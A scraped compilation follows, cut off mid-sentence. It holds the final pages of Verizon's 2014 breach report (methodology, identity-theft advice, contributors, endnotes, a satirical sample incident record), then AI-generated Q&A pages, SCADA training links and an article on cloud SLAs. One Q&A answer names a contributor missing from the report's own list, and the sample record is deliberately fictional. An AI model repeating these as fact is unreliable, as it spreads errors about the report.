the willingness and work of all these contributors to make this report possible. We sincerely appreciate it.1. VERIZON’S DATA COLLECTION METHODOLOGY The underlying methodology we used is unchanged from previous years. All results are based on first-hand evidence collected during paid external forensic investigations and related intelligence operations we conducted from 2004 through 2013. The 2013 caseload is the primary analytical focus of the report, but the entire range of data is referenced throughout. Once an investigation is completed, our analysts use case evidence, reports, and interviews to create a VER i S record of the incident(s). The record is then reviewed and validated by other members of the team to ensure reliable and consistent data. 2. METHODOLOGY FOR CONTRIBUTORS USING VERIS Contributors using this method provided incident data to our team in VER i S format. For instance, agents of the U.S. Secret Service (USSS) used an internal VER i S-based application to record pertinent case details. Several other organizations recorded incidents directly into an application we created specifically for this purpose. 30 For a few contributors, we captured the necessary data points via interviews and requested follow-up information as necessary. Whatever the exact process of recording data, these contributors used investigative notes, reports provided by the victim or other forensic firms, and their own experience gained in handling the incident. 3. METHODOLOGY FOR CONTRIBUTORS NOT USING VERIS Some contributors already collect and store incident data using their own framework. A good example of this is the CERT i nsider Threat Database31 compiled by the CERT insider Threat Center at the Carnegie Mellon Univ ersity Software Engineering i nstitute. For this and other similar data sources, we created a translation between the original schema and VER i S32 and then re-coded incidents into valid VER i S records for import into the aggregate dataset. We worked with contributors to resolve any ambiguities or other challenges to data quality during this translation and validation process. 51 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT SECURITY INCIDENTS VERSUS DATA DISCLOSURE The DB i R has traditionally focused exclusively on security events resulting in confirmed data disclosure33 rather than the broader spectrum of all security incidents.34 in the 2013 DB iR, we deviated from that tr adition slightly by collecting and referencing a large number of confirmed security incidents. The 2014 DB i R breaks form altogether to gain a broader view. We chose to include these incidents to capture events such as denial of service attacks, compromises of systems without data loss, and a very large bucket of incidents where data loss was just simply unknown. While we think this change is for the better (and we hope you do too), it does mean our report on data breaches will include more than data breaches. A WORD ABOUT SAMPLE BIAS For years, science and statisticians debated the relationship between smoking and lung cancer. Through the 1940s and 1950s cases of epidermoid carcinoma of the lung were on the rise and medical experts sought to understand why. i ndividual studies starting in the 1950s would establish a correlation between smoking and lung cancer, but each of them had statistical flaws in their methodologies. These flaws were not errors or mistakes in any way; the flaws were present because the real world presented imperfect data and the researchers did the best they could to compensate for the imperfect data. R. A. Fisher (a well-respected and famous statistician, who was often shown smoking his pipe) was an outspoken opponent of those studies and would put considerable effort into dissecting and refuting the techniques and conclusions found therein. His personal beliefs were being expressed through his expertise in statistics to such a point that he even accused researchers of manipulating their data. Finally, in 1959, Jerome Cornfield and several other researchers took a step back to conduct a meta-analysis, 35 which is analysis done by looking at the combination of several other studies (an approach Nate Silver would apply to the 2012 U.S. presidential elections with great success). They showed how the aggregate results of all the other studies provided overwhelming evidence that linked smoking with lung cancer. Even though each study was flawed in some way, they were flawed in different ways and the aggregate had a consistency that was enough to dispel any uncertainty. i t would take years for this to permeate into the culture, but Cornfield’s meta-analysis was the tipping point in acknowledging the health hazards of smoking. While we believe many of the findings presented in this report to be appropriate for generalization, bias and methodological flaws undoubtedly exist. However, with 50 contributing organizations this year, we’re aggregating across the different collection methods, priorities and goals of our partners. We hope this aggregation will help minimize the influence of any individual shortcomings in each of the samples and the whole of this research will be greater than the sum of its parts. 52 VERIZON ENTERPRISE SOLUTIONS APPENDIX B: DATA BREACHES AND IDENTITY THEFT, A CONVOLUTED ISSUE BY THE IDENTITY THEFT RESOURCE CENTER (ITRC) We focus primarily on the corporate side of data breaches in this report, but there is clearly an overlap into the consumer world. Because that world is very much front-and-center for i TRC, we thought it would be appropriate to have them contribute a perspective on an important aspect of breaches: consumer identity theft. So you received a data breach notification letter. Does this mean you are now a victim of identity theft? Not necessarily (yet). The relationship between data breaches and identity theft is trickier than you think. i t’s more convoluted than just these two issues being related or even correlated. There are studies touting the relationship between receiving a data breach notification and identity theft victimization, but the i TRC believes this oversimplifies the issue. TYPES OF INFORMATIONData breaches are becoming more commonplace and understood by the general public, due in part to publicity surrounding the many high profile incidents that occurred over the past year. As a result, consumers are faced with the fact that their personal identifying information (P ii ) is being left unsecured by those entrusted to protect it. Passwords, usernames, emails, credit/debit card and financial account information, and Social Security Numbers are being compromised at a staggering rate, endangering the identities of consumers nationwide. The perceived significance of P ii falls along a continuum of importance and value – as well as risk. This issue of “perception” applies to all the players in a data breach scenario – the consumer, the business entity, and of course, the “data thief. ” i hesitate to call the criminal an “identity thief” for we know not yet their underlying motive for stealing the P ii .LESS-SENSITIVE PII – IMPORTANCE AND VALUE Over time, consumers have been made increasingly aware of breaches exposing passwords, usernames, and emails. These pieces of less-sensitive P ii might, on the surface, appear to have no importance and/or value, and therefore represent relatively low risk of harm. Consumers use these pieces of information day-in and day-out, most likely without thinking about their value, or the measures in place to keep them secure and private. For businesses, exposure of this data does not typically even trigger the need for breach notification. i s there risk of identity of theft? This depends on the ingenuity and level of motivation of the data thief. While it is true that thieves can use this non-P ii to “socially engineer” other information about you, it does require some degree of effort. SENSITIVE PII – IMPORTANCE AND VALUE Most consumers readily identify credit/debit cards, and financial account information as important. When it comes to these pieces of financial information, they understand the need to protect it — there are associated risks with it being compromised. One major concern is who is responsible for any financial loss or expenses incurred as a result of this occurrence. Many consumers fear exposure of this information may result in identity theft; not realizing additional information (see Social Security number below) is necessary to take it to that level. Typically, the use of financial information is limited to various forms of financial fraud or existing account fraud. The value of financial account information may be high, but it is usually short-lived if the consumer takes action and closes accounts quickly. This is facilitated by businesses making prompt breach notifications and alerting the consumer that they need to take proactive measures. 53 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT Social Security numbers — the gold standard of all sensitive P ii — are that e xtra piece of information that unlocks so many doors. With this data in hand, thieves can now gain access to new credit and other benefits in the victim’s name — lines of credit, government benefits, tax refunds, employment, utilities, mortgages, and even medical resources. The data thief is the one who truly appreciates the value of this information. U.S. businesses recognize the importance of protecting these pieces of sensitive information because they know exposure of this data will trigger breach notification laws around the country in 46 states. There is a definite value to the business to implement best practices and protocols to ensure the security of this information, otherwise they will face the subsequent costs of mitigating a breach. VICTIM IMPACT — PERSONAL COST (NON-FINANCIAL COSTS) And while not all consumers who receive a data breach notification will become victims of identity theft, many will face the need to contact credit reporting agencies, creditors, financial institutions, health care providers, and possibly law enforcement agencies, to report that their P ii has been compromised. Placing Fraud Alerts or Credit Freezes, closing credit cards and financial accounts, changing passwords and P i Ns, and closing or changing email accounts are just some of the possible steps one might need to take to minimize future risk of identity theft. That said, pity those who do not receive a breach notification letter for they do not yet know their information has been compromised. Placing Fraud Alerts or Credit Freezes, closing credit cards and financial accounts, changing passwords and PINs, and closing or changing email accounts are just some of the possible steps one might need to take to minimize future risk of identity theft. Many of these steps take a personal toll on consumers who oftentimes have no idea what steps to take – even when they are spelled out in a breach notification letter or on a company website. All they know is they are feeling angry, frustrated and confused. They are frequently in an emotional and anxious state of mind. They are trying to grasp the meaning of who is responsible for any financial losses. How much time is it going to take to make necessary calls? Who do they call? What’s the number? Why is the line always busy? Can you make the call for me? Will a request for a credit report effect my credit score? How could the business let something like this happen?UNDERSTANDING TYPES OF PII AND NEED FOR FOLLOW UP ACTIONDepending on the type of personal data compromised (sensitive or less-sensitive) in any given data breach incident, many of the associated risks to the consumer will be contingent upon on how quickly they respond to a breach notification. This is why the timeliness of the notification to the consumers is of significant importance. Laws aside, forewarned is forearmed. An aware customer/client/employee/student is one who can take proactive measures to minimize the risk of any potential harm. Many of the associated risks to the consumer will be contingent upon on how quickly they respond to a breach notification. With that said, it is extremely important for consumers to understand the steps they can take to keep their information as private as possible. RECOMMENDATIONS FOR CONSUMERS • First and foremost, ne ver carry your Social Security card with you. • De velop strong passwords – Don’t be like the millions of others who use “12345678” or “password. ” Even when hashed, these passwords can easily be deciphered by data thieves. 36 • Don’t be too social on social media. Pro viding too much information on these very public venues provides data thieves plenty of information to go phishing at your expense. Even if you’re not the hottest celebrity in town, you might be more popular than the next guy on the thief’s list. • Shred sensitiv e documents – what you don’t shred, lock up in a secure location. • Monitor financial statements and be on the look for any fr audulent transactions. • Mak e every possible effort to guard your Protected Health i nformation (PH i ). Minimize the number of times you provide it the doctor’s office. Ask questions such as who can access it, will it be encrypted, and do they take measures to store it securely. Be your own PH i watchdog. 54 VERIZON ENTERPRISE SOLUTIONS APPENDIX C: LIST OF CONTRIBUTORS CSIRTS • CER T i nsider Threat Center • CER T Polska/NASK • CER T-EU European Union • CER T.PT • Computer Emergency Response team of Ukr aine (CERT-UA) • Computer i ncident Response Center Luxembourg (C i RCL), National CERT, Luxembourg • CyberSecurity Malaysia, an agency under the Ministry of Science, Technology and i nnovation (MOST i ) • i ndustrial Control Systems Cyber Emergency Response Team ( i CS-CERT) • i rish Reporting and i nformation Security Service ( i R i SS-CERT) • OpenCER T Canada • US Computer Emergency Readiness Team (US-CERT) CYBER CENTERS• Centre for Cyber Security, Denmark • Council on CyberSecurity • Defense Security Service (DSS) • European Cyber Crime Center (EC3) • National Cybersecurity and i ntegration Center (NCC i C) • Netherlands National Cyber Security Centre (NCSC-NL) FORENSIC PRO VIDERS • Deloitte and Touche LLP • G-C Partners, LLC • Guidance Software • S21sec • V erizon R i SK TeamINFOSEC PRODUCT AND SERVICE PROVIDERS• Akamai • Centripetal Netw orks, i nc. • FireEy e • Kaspersky Lab • Malicious Streams • McAfee, part of i ntel Security • ThreatGR i D, i nc. • ThreatSim • V erizon DoS Defense • WhiteHat Security I SACS • Center for i nternet Security (MS- i SAC) • Electricity Sector i nformation Sharing and Analysis Center (ES- i SAC) • Financial Services i SAC (FS- i SAC) • Public Transit i SAC (PT- i SAC) • Real Estate i SAC (RE- i SAC) • Research & Education i SAC (REN- i SAC) LAW ENFORCEMENT AGENCIES• Austr alian Federal Police (AFP) • Cybercrime Centr al Unit of the Guardia Civil (Spain) • Danish National P olice, N i TES (National i T i nvestigation Section) • Dutch P olice: National High Tech Crime Unit (NHTCU) • P olicía Metropolitana (Argentina) • P olicía Nacional de Colombia • US Secret Service O THER • Anonymous contributor • Commonw ealth of Massachusetts • i dentity Theft Resource Center • Mishcon de Re ya • VER i S Community Database (VCDB) • Winston & Str awn 55 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT ENDNOTES 1. Y es, we’ll continue to call it the Data Breach i nvestigations Report, even though it analyzes incidents that aren’t exclusively breaches or derived through forensic investigations. Hey! Maybe we should just call it the “Data Report” because those two words are still dead-on. 2. Stay tuned, though. We may dig deeper into this topic once we’re free from the pressures of publishing the main report. 3. T o be fair, the biggest sprees in this year’s dataset originated in both Romania and Germany 4. F or the initiated, we could not reject the null-hypothesis with a p-value of 0.21 and R2 of 0.134. 5. https://www.whitehatsec.com/resource/stats.html 6. Silo wash, G., Cappelli, D., Moore, A., Trzeciak, R., Shimeall, T., & Flynn, L. (2012). Common Sense Guide to Mitigating i nsider Threats. i n S.E. i nstitute (Ed.), (4th ed., pp. 17): Carnegie Mellon University. http://www.sei.cmu.edu/library/abstracts/reports/12tr012.cfm 7. http://www .mishcon.com/assets/managed/docs/downloads/doc_2714/Mishcon_Recover_Report.pdf 8. Silo wash, G., Cappelli, D., Moore, A., Trzeciak, R., Shimeall, T., & Flynn, L. (2012). Common Sense Guide to Mitigating i nsider Threats. i n S.E. i nstitute (Ed.), (4th ed., pp. 17): Carnegie Mellon University. http://www.sei.cmu.edu/library/abstracts/reports/12tr012.cfm 9. W e supplemented this pattern with data from VCDB because it is a rich source of related incidents. 10. http://v eriscommunity.net/doku.php?id=enumerations#assetvariety 11. Note to self: stop leaving laptop in conference room when walking do wn to the cafeteria. 12. W e supplemented this pattern with data from VCDB because it is a rich source of related incidents. 13. http://blog.o xforddictionaries.com/2013/11/word-of-the-year-2013-winner/ 14. A major NHT CU investigation into groups using mobile malware showed that in less than a year’s time, five variations of mobile malware for one specific bank could be detected. Modest estimates suggest that criminals gained around €50,000 per week using this specific form of mobile malware, harvesting over 4,000 user credentials from 8,500 infected bank customers in just a few months. Mobile malware does not move the needle in our stats as we focus on organizational security incidents as opposed to consumer device compromises. 15. The tw o email vectors are almost certainly underrepresented based on the number of phishing actions in this data set. Not enough info was provided to discern whether those phishing incidents utilized email attachments or embedded links, and so they were marked “unknown. ” Therefore, the actual number of both email vectors is surely higher than shown here, but still not be enough to overtake the web vectors. 16. Y ou can get more data on this by sending us a small fee to cover transfer costs. Just give us your bank account number and we will email you the information. Bitcoins welcome. 17. W e supplemented this pattern with data from VCDB because it is a good source of related incidents. 18. Espionage is not one of the more common patterns in the Public sector , but if you look solely at data breaches, it becomes quite prominent. 19. i n all honesty, some of us aren’t crazy about the “cyber” thing. Be that as it may, it is increasingly THE collectively used and understood modifier for the type of attacks we discuss here. By “cyber, ” we’re referring to computer networks, systems, and devices. We promise not to go all cyber-cyber-cyber!!! on you; we’ll just use it as a way to reference this pattern. 56 VERIZON ENTERPRISE SOLUTIONS 20. http://en. wikipedia.org/wiki/Analysis_of_competing_hypotheses 21. https://www .cia.gov/library/center-for-the-study-of-intelligence/csi-publications/books-and-monographs/psychology-of- intelligence-analysis/ 22. https://www .cia.gov/library/center-for-the-study-of-intelligence/csi-publications/books-and-monographs/sherman-kent-and-the- board-of-national-estimates-collected-essays/6words.html 23. See the Misuse section for analysis of insider espionage. 24. http://blogs.rsa.com/wp-content/uploads/V OHO_WP_F i NAL_READY-FOR-Publication-09242012_AC.pdf 25. See Hutchins, E. M., Cloppert, M. J., & Amin, R. M. (2010). i ntelligence-Driven Computer Network Defense i nformed by Analysis of Adversary Campaigns and i ntrusion Kill Chains. 26. http://www .microsoft.com/security/sir/default.aspx 27. ...at least until February 2014, when NTP reflection became bigger-est in history – but too late for us to edit this report be yond adding a footnote. 28. i t’s funny to consider that this remnant of the rejects is about equal to the total number of breaches in the 2009 DB i R. 29. F or a primer on dendrograms and hierarchical clustering techniques (our method for identifying patterns in this report), see http:// en.wikipedia.org/wiki/Hierarchical_clustering 30. See an e xample here: https://incident.veriscommunity.net/s3/example 31. http://www .cert.org/blogs/insider_threat/2011/08/the_cert_insider_threat_database.html 32. F or instance, CERT has an attribute named “Motives and expectations” that maps very well to actor.internal.motive in VER i S. 33. VER i S defines data disclosure as any event resulting in confirmed compromise (unauthorized viewing or accessing) of any non-public information. Potential disclosures and other “data-at-risk” events do NOT meet this criterion, and have thus not traditionally been part of the sample set for this report. 34. VER i S defines an incident as any event that compromises a security attribute (confidentiality, integrity, availability) of an information asset. 35. Cornfield, Jerome, et al. “Smoking and Lung Cancer: Recent Evidence and a Discussion of Some Questions. ” Journal of the National Cancer i nstitute 22.1 (1959): 173-203. 36. Don’t belie ve us? Just Google 286755fad04869ca523320acce0dc6a4 57 VERIZON 2014 DATA BREACH INVESTIGATIONS REPORT verizonenterprise.com © 2014 Verizon. All Rights Reserved. The Verizon name and logo and all other names, logos, and slogans identifying Verizon’s products and services are trademarks and service marks or registered trademarks and service marks of Verizon Trademark Services LLC or its affiliates in the United States and/or other countries. All other trademarks and service marks are the property of their respective owners. MC15912 04/14 { "action": { "hacking": { "variety": [ "Abuse of functionality", "SQLi", "Use of backdoor or C2” "Brute force" "notes": “Numerous attacks methodswere used in the remote attack of the Apache web server running 2.0.65 and utilizinga password of tomcat for the admin page. Themain page was replaced with a GOCI logo of a scary dragon, and a skull, and other evil and menacing symbols. Not what the victim wanted to see on their page no doubt. Default passwordwas used first, and the attackers moved laterallyvia SQL injection and installed a Bifrose variantbackdoor on 3 servers.” ], "vector": [ "Web application" ] } }, "actor": { "external": { "country": [ "Unknown" ], "motive": [ "Espionage" ], “variety”: [ "Organized crime" “notes”: “The organized group is very heinous and patient when attacking their available victims. Ruthless in nature and selectively contracted, they can hail from Helsinki, or Istanbul, or Perth. They were thought to be the main group responsible for heading up the 2006 web compromise of the ecommerce environment (Apache 2.0.65) of a BSD web fan forum that was then appropriated to help organize a fraudulent contest that caused over thirteen thousand dollars in losses. Funds laundered to another division created an electronic-hacking division based in Bucharest Romania enabling this group to branch out, executing in a decentralized manner. Since 2009 primarily using IRC and other channels for obfuscated communication, the group targets regulatory agencies as well as some private targets. The Oslo faction has become more fanatical; called The Guild of Calamitous Intent, the group has known associations with right-wing, left-wing, and buffalo-wing groups.Sophisticated hacking techniques like the TARNHT (Truly Awesome Really New Hacking Thing) can be attributed to the exploit innovation laboratory. The FBI, CIA, NHL, NTSB, ISIS, Underdog, and Zach Attack all have special electro-cyber-hero divisions on the case. “ } }, "asset": { "accessibility": "External", "assets": [ { "variety": "S – Web application" } ], "hosting": "Internal", "management": "Internal", "ownership": "Victim" }, "attribute": { "availability": { "variety": [ "Interruption" ] }, "confidentiality": { "data": [ { "variety": "Secrets" }, { "variety": "Personal" } ], "data_disclosure": "Confirmed", "state": [ "Unknown" ] } }, "discovery_method": "Int - reported by user", "impact": { "overall_rating": "Unknown" }, "incident_id": "069A2112-080D-1235-813F-3DB3CEDDEDA", "plus": { "analysis_status": "First pass", "analyst": "Czumak", }, "created": "2014-03-20T20:24:00Z", "github": "00110110.11101011.01000000.01110000", "master_id": "069A2112-080D-1235-813F-3DB3CEDDEDA", "modified": "2014-03-20T15:21:58Z", "timeline": { "notification": { "year": 2014 } } }, "reference": "http://beesbeesbees.com", "schema_version": "1.2.1", "security_incident": "Confirmed", "source_id": "vcdb", "summary": "Welcome folks. Enjoy this years report. Wow. So vectors. Much families. Many incident.", "timeline": { "compromise": { "unit": "NA" }, "exfiltration": { "unit": "NA" }, "incident": { "year": 2007 } }, "victim": { "country": "US", "employee_count": "101 to 1000", "industry": "541711", "state": "OR", "victim_id": "Mittelos Bioscience" }}ABOUT THE COVER The “universe” of colored dots on the cover represents 4,596 incidents from the DB i R dataset, including all confirmed data breaches over the past three years and a sample of 400 Denial of Service attacks from last year. We calculated the distance between dots using a multi-dimensional scaling technique (with the Manhattan distance algorithm) with 65 VER i S fields for each incident. This required over 6 million comparisons, and the resulting distances were projected on a two-dimensional plane. The closer the dots, the more similar the incidents, meaning they share many VER i S characteristics like threat actors, actions, assets, etc. The colors represent the nine incident classification patterns discussed throughout this report (see the Table of Contents for a section detailing how these patterns were derived). Patterns in close proximity (e.g., Misuse and Error) share many VER i S characteristics, while those that are far apart (e.g., Espionage and POS i ntrusions) have little in common. The tightness or looseness of dots within each pattern shows the amount of variation among incidents in that pattern. The sub-pattern clusters (overlayed points and lines) were created using 10 years of incident data (over 100,000 incidents). We generated a force-directed network graph from the frequency of VER i S fields and the relationships between them for each individual cluster. --- ## Source: https://montance.com/questions.php?id=31 [![pdf](content/images/icons/pdf.svg) rp Verizon DBIR 2014 en xg.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgWXE3cU5kS050Tk0/view?usp=sharing) Rp Verizon DBIR 2014 En Xg Resource covering DBIR titled 'Rp Verizon DBIR 2014 En Xg'. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What percentage of incidents in the 2014 dataset were described by nine basic patterns? A: 92%. * Q: How many incidents were analyzed in the 2014 report? A: Over 100,000 incidents from the last 10 years. * Q: List three of the nine basic patterns identified. A: Point-of-Sale Intrusions, Web App Attacks, Insider Misuse. * Q: What was the most common pattern for 'Espionage'? A: Cyber-Espionage. * Q: Who were some of the contributors to the 2014 DBIR? A: CERT, McAfee, Deloitte, US Secret Service, Splunk. * Q: What is the 'Detection Deficit'? A: The time gap between compromise and discovery. * Q: What percentage of breaches were financially motivated? A: This is typically the vast majority, though the exact 2014 figure is in the detailed text. * Q: What pattern is associated with 'skimmers'? A: Payment Card Skimmers. * Q: What pattern involves 'Physical Theft and Loss'? A: Physical Theft and Loss. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgRFhGUnRrTURXNEU/view?usp=sharing **[Skipped Google Drive file: Unsupported format from https://drive.google.com/file/d/0B9l-G6EuipZgRFhGUnRrTURXNEU/view?usp=sharing]** --- ## Source: https://montance.com/questions.php?id=29 [![txt](content/images/icons/txt.svg) FREE SCADA TRAINING.txt](https://drive.google.com/file/d/0B9l-G6EuipZgRFhGUnRrTURXNEU/view?usp=sharing) Free SCADA Training Links to free Industrial Control Systems security training provided by DHS. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What organization offers the training listed? A: ICS-CERT (Industrial Control Systems Cyber Emergency Response Team). * Q: What is the URL for training availability? A: https://ics-cert.us-cert.gov/Training-Available-Through-ICS-CERT * Q: What is the URL for the training calendar? A: https://ics-cert.us-cert.gov/Calendar * Q: What is SCADA? A: Supervisory Control and Data Acquisition. * Q: Is the training free? A: Yes, the filename implies it is 'FREE SCADA TRAINING'. * Q: Who is the target audience? A: Professionals working with Industrial Control Systems. * Q: Is this a US government resource? A: Yes, the URL ends in .gov. * Q: What is the primary focus of the training? A: ICS Security. * Q: Does the file contain any other text? A: No, just the two URLs. * Q: What protocol is implied by the secure links? A: HTTPS. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgSkdLcUtXTmx6TDA/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgSkdLcUtXTmx6TDA/view?usp=sharing]** 1 COMMENT COMMENT NOW Tweet0 0 9/28/2011 03:35 PM InformationWeek News Don't Get Burned: 4 Steps To A Cloud SLA Negotiating service-level agreements with providers is a matter of metrics, performance targets, and realistic remedies. For IT teams that like control, the "black box" cloud model, where customers implicitly give up the right to direct how and when most tasks are performed, can be stressful. The remedy: robust service- level agreements tailored to the as-a-service paradigm. The problem is that not all service providers agree. To the extent that cloud computing providers offer SLAs at all, in our experience their agreements tend to be weak, laden with unfavorable credit terms, and overly standardized with scant room for negotiation. The trick for enterprise IT teams is to get the protection afforded by a tailored SLA without negating the benefits--lower cost, increased scalability, and simpler management--that led them to the cloud model in the first place. In fact, an SLA itself isn't enough; just as important is a service specifications document, which spells out the respective responsibilities of the provider and customer; your ability to remove data from the cloud and mechanisms for doing so; and requirements relating to security, compliance, and data retention. (We discuss the service spec document in more detail in a free report.) As for customized SLAs, we've heard plenty of providers argue that they can't deviate from a standard agreement because their multitenant offering requires a standard product description and contract. While this reasoning has some merit with respect to service capabilities, it's less clear why it should be the case when requesting an SLA that measures an existing aspect of the service. For example, while most software-as-a-service providers don't guarantee that transactions will complete in a certain amount of time in their standard SLAs, transaction execution is an implicit element of the provider's service, so it should be possible to negotiate a service level. Providers' inflexibility may be due simply to their not having been pressured to change--yet. If you want a custom SLA, we recommend submitting a request for proposal with your requirements. Depending on your leverage, however, the provider may mark up the proposed SLA extensively orShare refuse it outright and require you to negotiate from its baseline. Worst case, it could simply insist you accept its canned set of terms. What then? That depends on the uniqueness of the cloud offering and whether the business side has latched on to a desired provider. How you negotiate SLAs should be tailored to reflect the strength (or weakness) of your company's position, anticipated provider behavior, and the quality of the provider's standard SLA. If you must move ahead with a cloud service and you have little negotiating leverage, use your limited influence to address only the most egregious aspects of the provider's SLAs, rather than asking for something overly aggressive that will likely result in outright refusal. Our four-step plan for getting the best cloud SLA will help. Step 1: Build The Service-Level Portfolio The first step in developing an SLA is identifying the portfolio of service levels that best measure and manage provider performance. In determining these metrics, a company should: >> Make the metrics relevant to business performance, not technology. Service levels should focus on business outcomes, rather than provider compliance with technical parameters that don't relate directly to business value. For example, if an application is used predominantly in support of monthly closing activities, measuring availability over the entire month doesn't reflect how critical the software is at the month-end period. >> Develop a collectively exhaustive metric portfolio. Ensure that any failure to meet the business' needs will be reflected in a failure to meet one or more service levels. For example, if a substantial increase in screen update time would sink user productivity, include a related metric in the portfolio. A problem we frequently encounter in "distressed" service relationships is dissatisfaction with service quality even though SLAs are consistently being met. >> Be sure service levels are mutually exclusive. Avoid overlapping service-level metrics that can dilute provider focus and result in misleading performance reports. For instance, an infrastructure-as- a-service customer might consolidate metrics for "average time to provision a server instance" and "provision success rate." By avoiding duplication and overlap, you also eliminate the need for the provider to set pricing to protect itself against "double jeopardy" credit situations. >> Institute checks and balances between metrics. Your SLA portfolio should consider each service level in the context of the overall SLA framework and the outcome you want. Address any potential adverse incentives with a counterbalancing metric. A common example comes from outsourced service desks, where emphasis on "average handle time" can lead to lower-quality call outcomes unless a compensating metric, such as "first-call resolution," is included. >> Limit the size of the portfolio for manageability. An SLA portfolio of more than eight to 10 service levels can become unwieldy. You want to keep the provider's attention on the metrics most critical to your business, which in most cases relate to service availability, service performance, and timeliness of fixing problems. Step 2: Construct Individual Service-Level Metrics This phase emphasizes exhaustiveness, only now applied to ensuring that each service level covers the full scope of the provider's responsibility. For example, as the provider's service includes its network connection and infrastructure, parameters such as service availability and response time should include these components, rather than using measurements from a monitoring server on the same LAN segment. Another important objective when writing the SLA is to avoid future disagreements by making the service levels as quantitative and unambiguous as possible. At a minimum, every SLA should include the following: >> Detailed description of the service level. This includes points of demarcation, triggers to initiate and terminate measurement, and criteria for success and failure. Define terms that otherwise might be open to interpretation: For example, is a degraded service still considered available? When is a problem classified as high priority? >> Explanation of the data-collection process. Minimize ambiguity by describing data sources and data fields, collection times and frequency, and responsibility for data-collection activities. Decide if you'll use data collected by the provider, establish an internal monitoring capability, or use third-party cloud monitoring services, such as Cloudkick, Monitis, or Gomez. >> Outline of the performance calculation. This can have a marked effect on service-level effectiveness. Consider how different calculation approaches will drive incentives and behavior. If resolution effectiveness is measured as mean time to repair, a provider with a large number of quick fixes can get away with having a single, extraordinarily long issue. Conversely, requiring that 95% of incidents be resolved within four hours provides an incentive for the provider to deprioritize resolution activity as soon as any incident enters the fifth hour. One answer is to include both "mean" and "maximum" resolution as distinct metrics within the SLA. Alternatively, you can develop compound service levels--for example, 95% of incidents resolved in four hours, 100% of incidents resolved in one business day. Step 3: Set Realistic Performance Targets Establishing the required level of service performance is another challenge. Set the threshold too low, and service will not meet your expectations; set it too high (as most IT teams tend to do) and you'll likely incur additional costs or miss opportunities to obtain concessions, such as tighter SLA exclusions, reduced credit caps, and other contractual terms. For cloud services, performance negotiations are further complicated by the provider's limited ability to offer differentiated delivery and support models. This means customers generally "get what they get," and any incremental tightening of service levels is reflected in increased service costs to offset anticipated losses from occasional SLA failure. You have two main options to determine the performance needs of the business. If your company has historic data regarding its own performance, you may use that as a baseline for requested performance, adjusted based on business opinions of the performance and current requirements. Alternatively, you can use your stated performance measurement and calculation techniques and figure out the point at which a performance drop-off starts hurting the business. If neither is possible, you may need to research performance commitments available in the market for similar services through vendor information, account reps, and colleagues or user forums. Be wary if providers request that performance exceeding one or more targets be used to offset shortfalls elsewhere. This might seem fair on first review, but it can distort the SLA model. If any Not All About The Money Don't limit your SLA penalties to credits. At least as effective in driving good behavior are nonfinancial remedies that require the provider to take actions such as: Conducting root-cause analysis for each service-level failure, and documenting ways to prevent reoccurrences Assigning additional account staff and/or replacing your current team when thresholds are tripped Refraining from bidding for new contracts with other units within your company unless they're meeting all SLAs Defining when chronic or catastrophic failures mean you can terminate the agreement without liability Tapping your staff for at least two reference calls per year COMMENT  | EMAIL THIS  | PRINT  | RSSservice levels are easy to meet consistently (as is frequently the case), the provider effectively gains a free pass for service-level violations. What's more, there's often little benefit to the cloud customer for the provider to exceed stated performance targets. If the business doesn't need a service instance to be provisioned in less than one minute, why encourage the provider to speed up that service? Step 4: Define Remedies For Failure SLA credits are always one of the most heavily negotiated areas in an agreement. The credit structure is usually developed in two stages. First is settling on the total "fees at risk"--that is, the maximum compensation in service-level credits that the provider would be required to provide. Next is the less contentious allocation of those fees to individual service levels. Conventional SLAs generally end up with around 10% to 15% of fees at risk, with a 200% to 250% multiplier. The effect of the multiplier is to increase the sensitivity of the agreement to individual performance failures, while capping the credit amounts payable for performance failure. A 15% cap with a 200% multiplier allows the customer to allocate the equivalent of 30% of the fees to the individual service levels. A variation of this approach is a system of points where (in this example) 200 points would be allocated across the individual service levels, with credits calibrated such that a total of 100 points would entitle the customer to a 15% credit payment. In general, comparing more general outsourcing SLAs to cloud agreements, expect to settle for considerably less for cloud agreements, given the volume-based delivery model and thin margins. Instead, focus on non-monetary resolutions to SLA failures. Avoid limitations on further remedies, such as consequential damages or the option to terminate the agreement without liability. Retaining the right to pursue additional damages--in the case of gross negligence on the part of the provider, for example--is one reason you don't want to sign any service agreement that states, "Performance credits are the sole and exclusive remedy for performance failures." Jonathan Shaw is a principal at Pace Harmon, an outsourcing advisory firm. Write to us at iwletters@techweb.com MORE INSIGHTS Webcasts Conquer the Network Capacity Challenge Successful Data Control in an Always-On World MORE WEBCASTS White Papers Learn the Truth About Continuous Learning Week to Weak: The Weaponization of Cyber Vulnerabilities MORE WHITE PAPERS Reports [Strategy] Monitoring Security in Cloud Environments [Infrastructure Insights] The Frictionless Enterprise MORE REPORTS Copyright © 2015 UBM Electronics, A UBM company, All rights reserved. Privacy Policy | Terms of Service --- ## Source: https://montance.com/questions.php?id=28 [![pdf](content/images/icons/pdf.svg) InformationWeek - Don't Get Burned 4 Steps To A Cloud SLA.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgSkdLcUtXTmx6TDA/view?usp=sharing) Informationweek Don't Get Burned 4 Steps To A Cloud SLA Article providing guidance on negotiating effective Service Level Agreements for cloud services. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the 'black box' cloud model? A: A model where customers implicitly give up the right to direct how and when most tasks are performed. * Q: What is the remedy for the stress of the 'black box' model? A: Robust service-level agreements (SLAs) tailored to the as-a-service paradigm. * Q: What should be included alongside an SLA? A: A service specifications document spelling out respective responsibilities. * Q: What should you avoid in SLA remedies? A: Limitations on further remedies, such as consequential damages or the option to terminate without liability. * Q: Why should you avoid 'Performance credits are the sole 